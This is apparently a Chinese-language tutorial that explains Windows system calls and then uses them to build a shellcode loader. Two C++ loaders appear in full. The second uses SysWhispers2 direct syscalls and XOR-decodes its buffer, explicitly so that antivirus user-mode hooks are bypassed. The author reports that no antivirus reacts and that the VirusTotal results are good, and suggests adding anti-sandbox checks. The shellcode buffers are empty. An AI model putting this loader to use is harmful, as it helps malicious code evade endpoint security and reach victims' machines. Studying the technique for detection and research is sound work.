什么是SysCall
在Windows中,进程处理体系被分为两种:用户模式和内核模式.

Notepad++ 随便写一个文件我们查看一下这个操作

其中 U 代表是用户层, K 代表的是内核层,我们可以看见创建文件这个操作首先是调用 ntdll!NtCreateFile 之后切换为内核层的 ntoskrnl.exe!NtCreateFile 处理
可见 ntdll.dll 里面导出的是 Windows 的原生API, ntoskrnl 里是对其的实现(内核API).
在 WinDbg 中查看一下 ntdll!NtCreateFile 的汇编指令

mov r10,rcx
mov eax,55h
syscall
ret
其中 55h 是 ZwCreateFile 的调用号
值得一提的是很多系统的调用号是不同的,可以在这里面做下参考:
https://j00ru.vexillium.org/syscalls/nt/64/
SysCall
还是从最开始的简单利用加载 ShellCode 来看
#include <iostream>
#include <Windows.h>
int main()
{
DWORD dwThreadID;
HANDLE handle;
int shellcode_size;
unsigned char buf[]="";
shellcode_size = sizeof(buf);//
char* shellcode = (char*)VirtualAlloc(NULL,shellcode_size,MEM_COMMIT,PAGE_EXECUTE_READWRITE);//申请内存页,大小为shellcode的大小,属性为 可读可写可执行
CopyMemory(shellcode,buf,shellcode_size);//将Shellcode放进内存页
handle = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)shellcode,NULL,NULL,&dwThreadID);//创建线程
WaitForSingleObject(handle,INFINITE);//等待线程结束
return 0;
}
跟踪一下Api试试看

可以看到 VirtualAlloc 底层调用的是 NtAllocateVirtualMemory ,而 CreateThread 调用的是 NtCreateThreadEx
其中 VirtualAlloc 以及 CreateThread 是比较敏感的Api,一般杀软对这种情况会做一个阈值处理,当特征达到一定数量后会作为病毒处理,因此我们可以通过直接系统调用,绕过杀软对用户层的 hook
使用SysWhispers2进行系统调用
ShellCode 请使用 x64 , X86 可以看下 https://github.com/mai1zhi2/SysWhispers2_x86
根据每个系统的不同,调用号也是不同的,我们可以根据前人的研究成果来更方便的进行学习
根据 Outflank 的 文章
我们可以根据 Native 的 API RtlGetVersion 来获取系统的版本

后面经过学习发现 Jackson 的 SysWhispers2 项目有更好的适用性,该项目采用了 modexp 的方法
先使用 SysWhispers2 生成我们的文件

将这些文件放入我们的项目

用 NtAllocateVirtualMemory 和 NtWriteVirtualMemory 以及 NtCreateThreadEx 这些Native的API替换成我们加载ShellCode的常规操作(申请内存、拷贝内存、创建线程)
测试代码为
#include <iostream>
#include <Windows.h>
#include "syscalls.h"
int main()
{
DWORD dwThreadID;
HANDLE handle;
int shellcode_size;
unsigned char buf[] = "";
for (int test = 0; test < sizeof(buf); test++) {
buf[test] = buf[test] ^ 10;
}
HANDLE hProc = GetCurrentProcess();
PVOID ptr = NULL;
HANDLE thandle = NULL;
shellcode_size = sizeof(buf);//
SIZE_T allocation_sizes = sizeof(buf);
NTSTATUS NTAVM = NtAllocateVirtualMemory(hProc, &ptr, 0, (PSIZE_T)&shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NTSTATUS NTAVV = NtWriteVirtualMemory(hProc,ptr,buf, allocation_sizes,0);
NTSTATUS ct = NtCreateThreadEx(&thandle,GENERIC_EXECUTE,NULL,hProc,ptr, NULL, FALSE, 0, 0, 0, NULL);
WaitForSingleObject(thandle, INFINITE);
free(ptr);
// char* shellcode = (char*)VirtualAlloc(NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);//申请内存页,大小为shellcode的大小,属性为 可读可写可执行
// CopyMemory(shellcode, buf, shellcode_size);//将Shellcode放进内存页
//handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &dwThreadID);//创建线程
//WaitForSingleObject(handle, INFINITE);//等待线程结束
return 0;
}

一众杀软均无反应
看下API的调用情况
发现调用的基本都是 Native 的 API

Vt检出良好,加几个反沙箱之类的估计就更完美了

其他
SysWhispers2 不支持 x86 的架构,国内有师傅改了一下,使其支持 x86
https://github.com/mai1zhi2/SysWhispers2_x86 (有问题的话记得看Issues)
参考资料
https://github.com/jthuraisamy/SysWhispers
https://y4er.com/post/using-csharp-to-syscall/
https://github.com/outflanknl/Dumpert
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://mp.weixin.qq.com/s/2Gui2tVOkG4JIRQe7gMP0A
https://lengjibo.github.io/syscall/
http://www.codewarrior.cn/ntdoc/winnt/mm/NtWriteVirtualMemory.htm